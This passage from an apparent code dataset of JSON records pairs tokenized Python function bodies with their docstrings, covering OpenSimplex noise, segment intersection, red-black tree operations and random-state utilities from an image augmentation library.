<NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw10 = dw0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn10 = <NUM_LIT:2> - dx10 * dx10 - dy10 * dy10 - dz10 * dz10 - dw10 * dw10<EOL>if attn10 > <NUM_LIT:0>:<EOL><INDENT>attn10 *= attn10<EOL>value += attn10 * attn10 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:1>, dx10, dy10, dz10, dw10)<EOL><DEDENT><DEDENT>attn_ext0 = <NUM_LIT:2> - dx_ext0 * dx_ext0 - dy_ext0 * dy_ext0 - dz_ext0 * dz_ext0 - dw_ext0 * dw_ext0<EOL>if attn_ext0 > <NUM_LIT:0>:<EOL><INDENT>attn_ext0 *= attn_ext0<EOL>value += attn_ext0 * attn_ext0 * extrapolate(xsv_ext0, ysv_ext0, zsv_ext0, wsv_ext0, dx_ext0, dy_ext0, dz_ext0, dw_ext0)<EOL><DEDENT>attn_ext1 = <NUM_LIT:2> - dx_ext1 * dx_ext1 - dy_ext1 * dy_ext1 - dz_ext1 * dz_ext1 - dw_ext1 * dw_ext1<EOL>if attn_ext1 > <NUM_LIT:0>:<EOL><INDENT>attn_ext1 *= attn_ext1<EOL>value += attn_ext1 * attn_ext1 * extrapolate(xsv_ext1, ysv_ext1, zsv_ext1, wsv_ext1, dx_ext1, dy_ext1, dz_ext1, dw_ext1)<EOL><DEDENT>attn_ext2 = <NUM_LIT:2> - dx_ext2 * dx_ext2 - dy_ext2 * dy_ext2 - dz_ext2 * dz_ext2 - dw_ext2 * dw_ext2<EOL>if attn_ext2 > <NUM_LIT:0>:<EOL><INDENT>attn_ext2 *= attn_ext2<EOL>value += attn_ext2 * attn_ext2 * extrapolate(xsv_ext2, ysv_ext2, zsv_ext2, wsv_ext2, dx_ext2, dy_ext2, dz_ext2, dw_ext2)<EOL><DEDENT>return value / NORM_CONSTANT_4D<EOL>", "docstring": "Generate 4D OpenSimplex noise from X,Y,Z,W coordinates.", "id": "f16267:c0:m6"}
{"signature": "def isect_segments__naive(segments) -> list:", "body": "isect = []<EOL>if Real is float:<EOL><INDENT>segments = [<EOL>(s[<NUM_LIT:0>], s[<NUM_LIT:1>]) if s[<NUM_LIT:0>][X] <= s[<NUM_LIT:1>][X] else<EOL>(s[<NUM_LIT:1>], s[<NUM_LIT:0>])<EOL>for s in segments]<EOL><DEDENT>else:<EOL><INDENT>segments = [<EOL>(<EOL>(Real(s[<NUM_LIT:0>][<NUM_LIT:0>]), Real(s[<NUM_LIT:0>][<NUM_LIT:1>])),<EOL>(Real(s[<NUM_LIT:1>][<NUM_LIT:0>]), Real(s[<NUM_LIT:1>][<NUM_LIT:1>])),<EOL>) if (s[<NUM_LIT:0>] <= s[<NUM_LIT:1>]) else<EOL>(<EOL>(Real(s[<NUM_LIT:1>][<NUM_LIT:0>]), Real(s[<NUM_LIT:1>][<NUM_LIT:1>])),<EOL>(Real(s[<NUM_LIT:0>][<NUM_LIT:0>]), Real(s[<NUM_LIT:0>][<NUM_LIT:1>])),<EOL>)<EOL>for s in segments]<EOL><DEDENT>n = len(segments)<EOL>for i in range(n):<EOL><INDENT>a0, a1 = segments[i]<EOL>for j in range(i + <NUM_LIT:1>, n):<EOL><INDENT>b0, b1 = segments[j]<EOL>if a0 not in (b0, b1) and a1 not in (b0, b1):<EOL><INDENT>ix = isect_seg_seg_v2_point(a0, a1, b0, b1)<EOL>if ix is not None:<EOL><INDENT>isect.append(ix)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return isect<EOL>", "docstring": "Brute force O(n2) version of ``isect_segments`` for test validation.", "id": "f16268:m12"}
{"signature": "def isect_polygon__naive(points) -> list:", "body": "isect = []<EOL>n = len(points)<EOL>if Real is float:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>points = [(Real(p[<NUM_LIT:0>]), Real(p[<NUM_LIT:1>])) for p in points]<EOL><DEDENT>for i in range(n):<EOL><INDENT>a0, a1 = points[i], points[(i + <NUM_LIT:1>) % n]<EOL>for j in range(i + <NUM_LIT:1>, n):<EOL><INDENT>b0, b1 = points[j], points[(j + <NUM_LIT:1>) % n]<EOL>if a0 not in (b0, b1) and a1 not in (b0, b1):<EOL><INDENT>ix = isect_seg_seg_v2_point(a0, a1, b0, b1)<EOL>if ix is not None:<EOL><INDENT>if USE_IGNORE_SEGMENT_ENDINGS:<EOL><INDENT>if ((len_squared_v2v2(ix, a0) < NUM_EPS_SQ or<EOL>len_squared_v2v2(ix, a1) < NUM_EPS_SQ) and<EOL>(len_squared_v2v2(ix, b0) < NUM_EPS_SQ or<EOL>len_squared_v2v2(ix, b1) < NUM_EPS_SQ)):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>isect.append(ix)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return isect<EOL>", "docstring": "Brute force O(n2) version of ``isect_polygon`` for test validation.", "id": "f16268:m13"}
{"signature": "def get_intersections(self):", "body": "if Real is float:<EOL><INDENT>return list(self.intersections.keys())<EOL><DEDENT>else:<EOL><INDENT>return [(float(p[<NUM_LIT:0>]), float(p[<NUM_LIT:1>])) for p in self.intersections.keys()]<EOL><DEDENT>", "docstring": "Return a list of unordered intersection points.", "id": "f16268:c1:m1"}
{"signature": "def get_intersections_with_segments(self):", "body": "if Real is float:<EOL><INDENT>return [<EOL>(p, [event.segment for event in event_set])<EOL>for p, event_set in self.intersections.items()<EOL>]<EOL><DEDENT>else:<EOL><INDENT>return [<EOL>(<EOL>(float(p[<NUM_LIT:0>]), float(p[<NUM_LIT:1>])),<EOL>[((float(event.segment[<NUM_LIT:0>][<NUM_LIT:0>]), float(event.segment[<NUM_LIT:0>][<NUM_LIT:1>])),<EOL>(float(event.segment[<NUM_LIT:1>][<NUM_LIT:0>]), float(event.segment[<NUM_LIT:1>][<NUM_LIT:1>])))<EOL>for event in event_set],<EOL>)<EOL>for p, event_set in self.intersections.items()<EOL>]<EOL><DEDENT>", "docstring": "Return a list of unordered intersection '(point, segment)' pairs,\nwhere segments may contain 2 or more values.", "id": "f16268:c1:m2"}
{"signature": "def offer(self, p, e: Event):", "body": "existing = self.events_scan.setdefault(<EOL>p, ([], [], [], []) if USE_VERTICAL else<EOL>([], [], []))<EOL>'''<STR_LIT>'''<EOL>existing[e.type].append(e)<EOL>", "docstring": "Offer a new event ``s`` at point ``p`` in this queue.", "id": "f16268:c2:m1"}
{"signature": "def poll(self):", "body": "assert(len(self.events_scan) != <NUM_LIT:0>)<EOL>p, events_current = self.events_scan.pop_min()<EOL>return p, events_current<EOL>", "docstring": "Get, and remove, the first (lowest) item from this queue.\n\n:return: the first (lowest) item from this queue.\n:rtype: Point, Event pair.", "id": "f16268:c2:m2"}
{"signature": "def __init__(self, items=None, cmp=None, cmp_data=None):", "body": "self._root = None<EOL>self._count = <NUM_LIT:0><EOL>if cmp is None:<EOL><INDENT>def cmp(cmp_data, a, b):<EOL><INDENT>if a < b:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>elif a > b:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>self._cmp = cmp<EOL>self._cmp_data = cmp_data<EOL>if items is not None:<EOL><INDENT>self.update(items)<EOL><DEDENT>", "docstring": "T.__init__(...) initializes T; see T.__class__.__doc__ for signature", "id": "f16268:c3:m0"}
{"signature": "def clear(self):", "body": "def _clear(node):<EOL><INDENT>if node is not None:<EOL><INDENT>_clear(node.left)<EOL>_clear(node.right)<EOL>node.free()<EOL><DEDENT><DEDENT>_clear(self._root)<EOL>self._count = <NUM_LIT:0><EOL>self._root = None<EOL>", "docstring": "T.clear() -> None.  Remove all items from T.", "id": "f16268:c3:m1"}
{"signature": "@property<EOL><INDENT>def count(self):<DEDENT>", "body": "return self._count<EOL>", "docstring": "Get items count.", "id": "f16268:c3:m2"}
{"signature": "def pop_item(self):", "body": "if self.is_empty():<EOL><INDENT>raise KeyError(\"<STR_LIT>\")<EOL><DEDENT>node = self._root<EOL>while True:<EOL><INDENT>if node.left is not None:<EOL><INDENT>node = node.left<EOL><DEDENT>elif node.right is not None:<EOL><INDENT>node = node.right<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>key = node.key<EOL>value = node.value<EOL>self.remove(key)<EOL>return key, value<EOL>", "docstring": "T.pop_item() -> (k, v), remove and return some (key, value) pair as a\n        2-tuple; but raise KeyError if T is empty.", "id": "f16268:c3:m4"}
{"signature": "def min_item(self):", "body": "if self.is_empty():<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>node = self._root<EOL>while node.left is not None:<EOL><INDENT>node = node.left<EOL><DEDENT>return node.key, node.value<EOL>", "docstring": "Get item with min key of tree, raises ValueError if tree is empty.", "id": "f16268:c3:m5"}
{"signature": "def max_item(self):", "body": "if self.is_empty():<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>node = self._root<EOL>while node.right is not None:<EOL><INDENT>node = node.right<EOL><DEDENT>return node.key, node.value<EOL>", "docstring": "Get item with max key of tree, raises ValueError if tree is empty.", "id": "f16268:c3:m6"}
{"signature": "def succ_item(self, key, default=_sentinel):", "body": "<EOL>node = self._root<EOL>succ_node = None<EOL>while node is not None:<EOL><INDENT>cmp = self._cmp(self._cmp_data, key, node.key)<EOL>if cmp == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>elif cmp < <NUM_LIT:0>:<EOL><INDENT>if (succ_node is None) or self._cmp(self._cmp_data, node.key, succ_node.key) < <NUM_LIT:0>:<EOL><INDENT>succ_node = node<EOL><DEDENT>node = node.left<EOL><DEDENT>else:<EOL><INDENT>node = node.right<EOL><DEDENT><DEDENT>if node is None:  <EOL><INDENT>if default is _sentinel:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>return default<EOL><DEDENT>if node.right is not None:<EOL><INDENT>node = node.right<EOL>while node.left is not None:<EOL><INDENT>node = node.left<EOL><DEDENT>if succ_node is None:<EOL><INDENT>succ_node = node<EOL><DEDENT>elif self._cmp(self._cmp_data, node.key, succ_node.key) < <NUM_LIT:0>:<EOL><INDENT>succ_node = node<EOL><DEDENT><DEDENT>elif succ_node is None:  <EOL><INDENT>if default is _sentinel:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>return default<EOL><DEDENT>return succ_node.key, succ_node.value<EOL>", "docstring": "Get successor (k,v) pair of key, raises KeyError if key is max key\n        or key does not exist. optimized for pypy.", "id": "f16268:c3:m7"}
{"signature": "def prev_item(self, key, default=_sentinel):", "body": "<EOL>node = self._root<EOL>prev_node = None<EOL>while node is not None:<EOL><INDENT>cmp = self._cmp(self._cmp_data, key, node.key)<EOL>if cmp == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>elif cmp < <NUM_LIT:0>:<EOL><INDENT>node = node.left<EOL><DEDENT>else:<EOL><INDENT>if (prev_node is None) or self._cmp(self._cmp_data, prev_node.key, node.key) < <NUM_LIT:0>:<EOL><INDENT>prev_node = node<EOL><DEDENT>node = node.right<EOL><DEDENT><DEDENT>if node is None:  <EOL><INDENT>if default is _sentinel:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>return default<EOL><DEDENT>if node.left is not None:<EOL><INDENT>node = node.left<EOL>while node.right is not None:<EOL><INDENT>node = node.right<EOL><DEDENT>if prev_node is None:<EOL><INDENT>prev_node = node<EOL><DEDENT>elif self._cmp(self._cmp_data, prev_node.key, node.key) < <NUM_LIT:0>:<EOL><INDENT>prev_node = node<EOL><DEDENT><DEDENT>elif prev_node is None:  <EOL><INDENT>if default is _sentinel:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>return default<EOL><DEDENT>return prev_node.key, prev_node.value<EOL>", "docstring": "Get predecessor (k,v) pair of key, raises KeyError if key is min key\n        or key does not exist. optimized for pypy.", "id": "f16268:c3:m8"}
{"signature": "def __repr__(self):", "body": "tpl = \"<STR_LIT>\" % (self.__class__.__name__, '<STR_LIT:%s>')<EOL>return tpl % \"<STR_LIT:U+002CU+0020>\".join((\"<STR_LIT>\" % item for item in self.items()))<EOL>", "docstring": "T.__repr__(...) <==> repr(x)", "id": "f16268:c3:m9"}
{"signature": "def __contains__(self, key):", "body": "try:<EOL><INDENT>self.get_value(key)<EOL>return True<EOL><DEDENT>except KeyError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "k in T -> True if T has a key k, else False", "id": "f16268:c3:m10"}
{"signature": "def __len__(self):", "body": "return self.count<EOL>", "docstring": "T.__len__() <==> len(x)", "id": "f16268:c3:m11"}
{"signature": "def is_empty(self):", "body": "return self.count == <NUM_LIT:0><EOL>", "docstring": "T.is_empty() -> False if T contains any items else True", "id": "f16268:c3:m12"}
{"signature": "def set_default(self, key, default=None):", "body": "try:<EOL><INDENT>return self.get_value(key)<EOL><DEDENT>except KeyError:<EOL><INDENT>self.insert(key, default)<EOL>return default<EOL><DEDENT>", "docstring": "T.set_default(k[,d]) -> T.get(k,d), also set T[k]=d if k not in T", "id": "f16268:c3:m13"}
{"signature": "def get(self, key, default=None):", "body": "try:<EOL><INDENT>return self.get_value(key)<EOL><DEDENT>except KeyError:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "T.get(k[,d]) -> T[k] if k in T, else d.  d defaults to None.", "id": "f16268:c3:m14"}
{"signature": "def pop(self, key, *args):", "body": "if len(args) > <NUM_LIT:1>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % (<NUM_LIT:1> + len(args)))<EOL><DEDENT>try:<EOL><INDENT>value = self.get_value(key)<EOL>self.remove(key)<EOL>return value<EOL><DEDENT>except KeyError:<EOL><INDENT>if len(args) == <NUM_LIT:0>:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>return args[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>", "docstring": "T.pop(k[,d]) -> v, remove specified key and return the corresponding value.\n        If key is not found, d is returned if given, otherwise KeyError is raised", "id": "f16268:c3:m15"}
{"signature": "def prev_key(self, key, default=_sentinel):", "body": "item = self.prev_item(key, default)<EOL>return default if item is default else item[<NUM_LIT:0>]<EOL>", "docstring": "Get predecessor to key, raises KeyError if key is min key\n        or key does not exist.", "id": "f16268:c3:m16"}
{"signature": "def succ_key(self, key, default=_sentinel):", "body": "item = self.succ_item(key, default)<EOL>return default if item is default else item[<NUM_LIT:0>]<EOL>", "docstring": "Get successor to key, raises KeyError if key is max key\n        or key does not exist.", "id": "f16268:c3:m17"}
{"signature": "def pop_min(self):", "body": "item = self.min_item()<EOL>self.remove(item[<NUM_LIT:0>])<EOL>return item<EOL>", "docstring": "T.pop_min() -> (k, v), remove item with minimum key, raise ValueError\n        if T is empty.", "id": "f16268:c3:m18"}
{"signature": "def pop_max(self):", "body": "item = self.max_item()<EOL>self.remove(item[<NUM_LIT:0>])<EOL>return item<EOL>", "docstring": "T.pop_max() -> (k, v), remove item with maximum key, raise ValueError\n        if T is empty.", "id": "f16268:c3:m19"}
{"signature": "def min_key(self):", "body": "return self.min_item()[<NUM_LIT:0>]<EOL>", "docstring": "Get min key of tree, raises ValueError if tree is empty.", "id": "f16268:c3:m20"}
{"signature": "def max_key(self):", "body": "return self.max_item()[<NUM_LIT:0>]<EOL>", "docstring": "Get max key of tree, raises ValueError if tree is empty.", "id": "f16268:c3:m21"}
{"signature": "def key_slice(self, start_key, end_key, reverse=False):", "body": "return (k for k, v in self.iter_items(start_key, end_key, reverse=reverse))<EOL>", "docstring": "T.key_slice(start_key, end_key) -> key iterator:\n        start_key <= key < end_key.\n\n        Yields keys in ascending order if reverse is False else in descending order.", "id": "f16268:c3:m22"}
{"signature": "def iter_items(self,  start_key=None, end_key=None, reverse=False):", "body": "<EOL>if self.is_empty():<EOL><INDENT>return []<EOL><DEDENT>if reverse:<EOL><INDENT>return self._iter_items_backward(start_key, end_key)<EOL><DEDENT>else:<EOL><INDENT>return self._iter_items_forward(start_key, end_key)<EOL><DEDENT>", "docstring": "Iterates over the (key, value) items of the associated tree,\n        in ascending order if reverse is True, iterate in descending order,\n        reverse defaults to False", "id": "f16268:c3:m23"}
{"signature": "def __getitem__(self, key):", "body": "return self.left if key == <NUM_LIT:0> else self.right<EOL>", "docstring": "N.__getitem__(key) <==> x[key], where key is 0 (left) or 1 (right).", "id": "f16268:c4:m2"}
{"signature": "def __setitem__(self, key, value):", "body": "if key == <NUM_LIT:0>:<EOL><INDENT>self.left = value<EOL><DEDENT>else:<EOL><INDENT>self.right = value<EOL><DEDENT>", "docstring": "N.__setitem__(key, value) <==> x[key]=value, where key is 0 (left) or 1 (right).", "id": "f16268:c4:m3"}
{"signature": "def _new_node(self, key, value):", "body": "self._count += <NUM_LIT:1><EOL>return Node(key, value)<EOL>", "docstring": "Create a new tree node.", "id": "f16268:c5:m3"}
{"signature": "def insert(self, key, value):", "body": "if self._root is None:  <EOL><INDENT>self._root = self._new_node(key, value)<EOL>self._root.red = False  <EOL>return<EOL><DEDENT>head = Node()  <EOL>grand_parent = None<EOL>grand_grand_parent = head<EOL>parent = None  <EOL>direction = <NUM_LIT:0><EOL>last = <NUM_LIT:0><EOL>grand_grand_parent.right = self._root<EOL>node = grand_grand_parent.right<EOL>while True:<EOL><INDENT>if node is None:  <EOL><INDENT>node = self._new_node(key, value)<EOL>parent[direction] = node<EOL><DEDENT>elif RBTree.is_red(node.left) and RBTree.is_red(node.right):  <EOL><INDENT>node.red = True<EOL>node.left.red = False<EOL>node.right.red = False<EOL><DEDENT>if RBTree.is_red(node) and RBTree.is_red(parent):<EOL><INDENT>direction2 = <NUM_LIT:1> if grand_grand_parent.right is grand_parent else <NUM_LIT:0><EOL>if node is parent[last]:<EOL><INDENT>grand_grand_parent[direction2] = RBTree.jsw_single(grand_parent, <NUM_LIT:1> - last)<EOL><DEDENT>else:<EOL><INDENT>grand_grand_parent[direction2] = RBTree.jsw_double(grand_parent, <NUM_LIT:1> - last)<EOL><DEDENT><DEDENT>if self._cmp(self._cmp_data, key, node.key) == <NUM_LIT:0>:<EOL><INDENT>node.value = value  <EOL>break<EOL><DEDENT>last = direction<EOL>direction = <NUM_LIT:0> if (self._cmp(self._cmp_data, key, node.key) < <NUM_LIT:0>) else <NUM_LIT:1><EOL>if grand_parent is not None:<EOL><INDENT>grand_grand_parent = grand_parent<EOL><DEDENT>grand_parent = parent<EOL>parent = node<EOL>node = node[direction]<EOL><DEDENT>self._root = head.right  <EOL>self._root.red = False<EOL>", "docstring": "T.insert(key, value) <==> T[key] = value, insert key, value into tree.", "id": "f16268:c5:m4"}
{"signature": "def remove(self, key):", "body": "if self._root is None:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>head = Node()  <EOL>node = head<EOL>node.right = self._root<EOL>parent = None<EOL>grand_parent = None<EOL>found = None  <EOL>direction = <NUM_LIT:1><EOL>while node[direction] is not None:<EOL><INDENT>last = direction<EOL>grand_parent = parent<EOL>parent = node<EOL>node = node[direction]<EOL>direction = <NUM_LIT:1> if (self._cmp(self._cmp_data, node.key, key) < <NUM_LIT:0>) else <NUM_LIT:0><EOL>if self._cmp(self._cmp_data, key, node.key) == <NUM_LIT:0>:<EOL><INDENT>found = node<EOL><DEDENT>if not RBTree.is_red(node) and not RBTree.is_red(node[direction]):<EOL><INDENT>if RBTree.is_red(node[<NUM_LIT:1> - direction]):<EOL><INDENT>parent[last] = RBTree.jsw_single(node, direction)<EOL>parent = parent[last]<EOL><DEDENT>elif not RBTree.is_red(node[<NUM_LIT:1> - direction]):<EOL><INDENT>sibling = parent[<NUM_LIT:1> - last]<EOL>if sibling is not None:<EOL><INDENT>if (not RBTree.is_red(sibling[<NUM_LIT:1> - last])) and (not RBTree.is_red(sibling[last])):<EOL><INDENT>parent.red = False<EOL>sibling.red = True<EOL>node.red = True<EOL><DEDENT>else:<EOL><INDENT>direction2 = <NUM_LIT:1> if grand_parent.right is parent else <NUM_LIT:0><EOL>if RBTree.is_red(sibling[last]):<EOL><INDENT>grand_parent[direction2] = RBTree.jsw_double(parent, last)<EOL><DEDENT>elif RBTree.is_red(sibling[<NUM_LIT:1>-last]):<EOL><INDENT>grand_parent[direction2] = RBTree.jsw_single(parent, last)<EOL><DEDENT>grand_parent[direction2].red = True<EOL>node.red = True<EOL>grand_parent[direction2].left.red = False<EOL>grand_parent[direction2].right.red = False<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if found is not None:<EOL><INDENT>found.key = node.key<EOL>found.value = node.value<EOL>parent[int(parent.right is node)] = node[int(node.left is None)]<EOL>node.free()<EOL>self._count -= <NUM_LIT:1><EOL><DEDENT>self._root = head.right<EOL>if self._root is not None:<EOL><INDENT>self._root.red = False<EOL><DEDENT>if not found:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>", "docstring": "T.remove(key) <==> del T[key], remove item <key> from tree.", "id": "f16268:c5:m5"}
{"signature": "def is_np_array(val):", "body": "<EOL>return isinstance(val, np.ndarray)<EOL>", "docstring": "Checks whether a variable is a numpy array.\n\nParameters\n----------\nval\n    The variable to check.\n\nReturns\n-------\nout : bool\n    True if the variable is a numpy array. Otherwise False.", "id": "f16269:m0"}
{"signature": "def is_single_integer(val):", "body": "return isinstance(val, numbers.Integral) and not isinstance(val, bool)<EOL>", "docstring": "Checks whether a variable is an integer.\n\nParameters\n----------\nval\n    The variable to check.\n\nReturns\n-------\nbool\n    True if the variable is an integer. Otherwise False.", "id": "f16269:m1"}
{"signature": "def is_single_float(val):", "body": "return isinstance(val, numbers.Real) and not is_single_integer(val) and not isinstance(val, bool)<EOL>", "docstring": "Checks whether a variable is a float.\n\nParameters\n----------\nval\n    The variable to check.\n\nReturns\n-------\nbool\n    True if the variable is a float. Otherwise False.", "id": "f16269:m2"}
{"signature": "def is_single_number(val):", "body": "return is_single_integer(val) or is_single_float(val)<EOL>", "docstring": "Checks whether a variable is a number, i.e. an integer or float.\n\nParameters\n----------\nval\n    The variable to check.\n\nReturns\n-------\nbool\n    True if the variable is a number. Otherwise False.", "id": "f16269:m3"}
{"signature": "def is_iterable(val):", "body": "return isinstance(val, collections.Iterable)<EOL>", "docstring": "Checks whether a variable is iterable.\n\nParameters\n----------\nval\n    The variable to check.\n\nReturns\n-------\nbool\n    True if the variable is an iterable. Otherwise False.", "id": "f16269:m4"}
{"signature": "def is_string(val):", "body": "return isinstance(val, six.string_types)<EOL>", "docstring": "Checks whether a variable is a string.\n\nParameters\n----------\nval\n    The variable to check.\n\nReturns\n-------\nbool\n    True if the variable is a string. Otherwise False.", "id": "f16269:m5"}
{"signature": "def is_single_bool(val):", "body": "return type(val) == type(True)<EOL>", "docstring": "Checks whether a variable is a boolean.\n\nParameters\n----------\nval\n    The variable to check.\n\nReturns\n-------\nbool\n    True if the variable is a boolean. Otherwise False.", "id": "f16269:m6"}
{"signature": "def is_integer_array(val):", "body": "return is_np_array(val) and issubclass(val.dtype.type, np.integer)<EOL>", "docstring": "Checks whether a variable is a numpy integer array.\n\nParameters\n----------\nval\n    The variable to check.\n\nReturns\n-------\nbool\n    True if the variable is a numpy integer array. Otherwise False.", "id": "f16269:m7"}
{"signature": "def is_float_array(val):", "body": "return is_np_array(val) and issubclass(val.dtype.type, np.floating)<EOL>", "docstring": "Checks whether a variable is a numpy float array.\n\nParameters\n----------\nval\n    The variable to check.\n\nReturns\n-------\nbool\n    True if the variable is a numpy float array. Otherwise False.", "id": "f16269:m8"}
{"signature": "def is_callable(val):", "body": "<EOL>if sys.version_info[<NUM_LIT:0>] == <NUM_LIT:3> and sys.version_info[<NUM_LIT:1>] <= <NUM_LIT:2>:<EOL><INDENT>return hasattr(val, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return callable(val)<EOL><DEDENT>", "docstring": "Checks whether a variable is a callable, e.g. a function.\n\nParameters\n----------\nval\n    The variable to check.\n\nReturns\n-------\nbool\n    True if the variable is a callable. Otherwise False.", "id": "f16269:m9"}
{"signature": "def is_generator(val):", "body": "return isinstance(val, types.GeneratorType)<EOL>", "docstring": "Checks whether a variable is a generator.\n\nParameters\n----------\nval\n    The variable to check.\n\nReturns\n-------\nbool\n    True is the variable is a generator. Otherwise False.", "id": "f16269:m10"}
{"signature": "def flatten(nested_iterable):", "body": "<EOL>if not isinstance(nested_iterable, (list, tuple)):<EOL><INDENT>yield nested_iterable<EOL><DEDENT>else:<EOL><INDENT>for i in nested_iterable:<EOL><INDENT>if isinstance(i, (list, tuple)):<EOL><INDENT>for j in flatten(i):<EOL><INDENT>yield j<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield i<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Flattens arbitrarily nested lists/tuples.\n\nCode partially taken from https://stackoverflow.com/a/10824420.\n\nParameters\n----------\nnested_iterable\n    A list or tuple of arbitrarily nested values.\n\nYields\n------\nany\n    Non-list and non-tuple values in `nested_iterable`.", "id": "f16269:m11"}
{"signature": "def caller_name():", "body": "return sys._getframe(<NUM_LIT:1>).f_code.co_name<EOL>", "docstring": "Returns the name of the caller, e.g. a function.\n\nReturns\n-------\nstr\n    The name of the caller as a string", "id": "f16269:m12"}
{"signature": "def seed(seedval):", "body": "CURRENT_RANDOM_STATE.seed(seedval)<EOL>", "docstring": "Set the seed used by the global random state and thereby all randomness\nin the library.\n\nThis random state is by default by all augmenters. Under special\ncircumstances (e.g. when an augmenter is switched to deterministic mode),\nthe global random state is replaced by another -- local -- one.\nThe replacement is dependent on the global random state.\n\nParameters\n----------\nseedval : int\n    The seed to use.", "id": "f16269:m13"}
{"signature": "def current_random_state():", "body": "return CURRENT_RANDOM_STATE<EOL>", "docstring": "Returns the current/global random state of the library.\n\nReturns\n----------\nnumpy.random.RandomState\n    The current/global random state.", "id": "f16269:m14"}
{"signature": "def new_random_state(seed=None, fully_random=False):", "body": "if seed is None:<EOL><INDENT>if not fully_random:<EOL><INDENT>seed = CURRENT_RANDOM_STATE.randint(SEED_MIN_VALUE, SEED_MAX_VALUE, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return np.random.RandomState(seed)<EOL>", "docstring": "Returns a new random state.\n\nParameters\n----------\nseed : None or int, optional\n    Optional seed value to use.\n    The same datatypes are allowed as for ``numpy.random.RandomState(seed)``.\n\nfully_random : bool, optional\n    Whether to use numpy's random initialization for the\n    RandomState (used if set to True). If False, a seed is sampled from\n    the global random state, which is a bit faster and hence the default.\n\nReturns\n-------\nnumpy.random.RandomState\n    The new random state.", "id": "f16269:m15"}
{"signature": "def dummy_random_state():", "body": "return np.random.RandomState(<NUM_LIT:1>)<EOL>", "docstring": "Returns a dummy random state that is always based on a seed of 1.\n\nReturns\n-------\nnumpy.random.RandomState\n    The new random state.", "id": "f16269:m16"}
{"signature": "def copy_random_state(random_state, force_copy=False):", "body": "if random_state == np.random and not force_copy:<EOL><INDENT>return random_state<EOL><DEDENT>else:<EOL><INDENT>rs_copy = dummy_random_state()<EOL>orig_state = random_state.get_state()<EOL>rs_copy.set_state(orig_state)<EOL>return rs_copy<EOL><DEDENT>", "docstring": "Creates a copy of a random state.\n\nParameters\n----------\nrandom_state : numpy.random.RandomState\n    The random state to copy.\n\nforce_copy : bool, optional\n    If True, this function will always create a copy of every random\n    state. If False, it will not copy numpy's default random state,\n    but all other random states.\n\nReturns\n-------\nrs_copy : numpy.random.RandomState\n    The copied random state.", "id": "f16269:m17"}
{"signature": "def derive_random_state(random_state):", "body": "return derive_random_states(random_state, n=<NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Create a new random states based on an existing random state or seed.\n\nParameters\n----------\nrandom_state : numpy.random.RandomState\n    Random state or seed from which to derive the new random state.\n\nReturns\n-------\nnumpy.random.RandomState\n    Derived random state.", "id": "f16269:m18"}
{"signature": "def derive_random_states(random_state, n=<NUM_LIT:1>):", "body": "seed_ = random_state.randint(SEED_MIN_VALUE, SEED_MAX_VALUE, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>return [new_random_state(seed_+i) for i in sm.xrange(n)]<EOL>", "docstring": "Create N new random states based on an existing random state or seed.\n\nParameters\n----------\nrandom_state : numpy.random.RandomState\n    Random state or seed from which to derive new random states.\n\nn : int, optional\n    Number of random states to derive.\n\nReturns\n-------\nlist of numpy.random.RandomState\n    Derived random states.", "id": "f16269:m19"}
{"signature": "def forward_random_state(random_state):", "body": "random_state.uniform()<EOL>", "docstring": "Forward the internal state of a random state.\n\nThis makes sure that future calls to the random_state will produce new random values.\n\nParameters\n----------\nrandom_state : numpy.random.RandomState\n    Random state to forward.", "id": "f16269:m20"}
